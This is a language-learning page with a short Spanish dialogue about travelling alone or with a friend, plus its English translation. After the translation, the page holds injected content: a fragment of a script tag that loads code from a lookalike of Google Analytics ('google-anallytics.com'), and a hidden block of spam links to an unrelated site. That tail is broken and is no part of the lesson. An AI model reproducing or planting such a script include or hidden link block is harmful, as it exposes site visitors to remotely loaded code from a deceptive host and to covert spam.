Language sounds
Home > Sounds > Pastimes

‘Pastimes’
Click to listen to Recorded 2008-08-08 02-19-13.mp3 (555Kb)
Non-native speaker
Accent: American
Author: El Rey del Mar
Date: 8/8/2008

Transcript of sound file:
Algún día, me gustaría viajar.
¿A dónde?
A Europa, a África, al América del Sur, ¡por todo el mundo!
¿Sólo?
Puede ser.
Jamás voy a viajar sola.
¿Por qué?
Porque siempre tengo problemas.
¿Cómo qué?
Como no conocer a nadie. Es peligroso.
Bueno, eso es fácil. ¡Tienes que viajar con alguien!
Pero ... ¿con quién?
No sé. ¿Con quién quieres viajar?
Quiero viajar con un amigo … un amigo muy bueno.
Hmm. Bueno, por mi parte, prefiero viajar solo. Chao!
Chao.

---

Translation:
Some day, I'd like to travel.
To where?
To Europe, Africa, South America, the whole world.
Alone?
Could be.
I'm never going to travel alone.
Why?
Because I always have problems.
like what?
like not knowing anybody. Its dangerous.
Well, that is easy. You have to travel with someone.
like... with who?
I don't know. Who do you want to travel with?
I want to travel with a friend.... a very good friend.
Well, in my opinion, I prefer to travel alone. Bye!
Bye.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)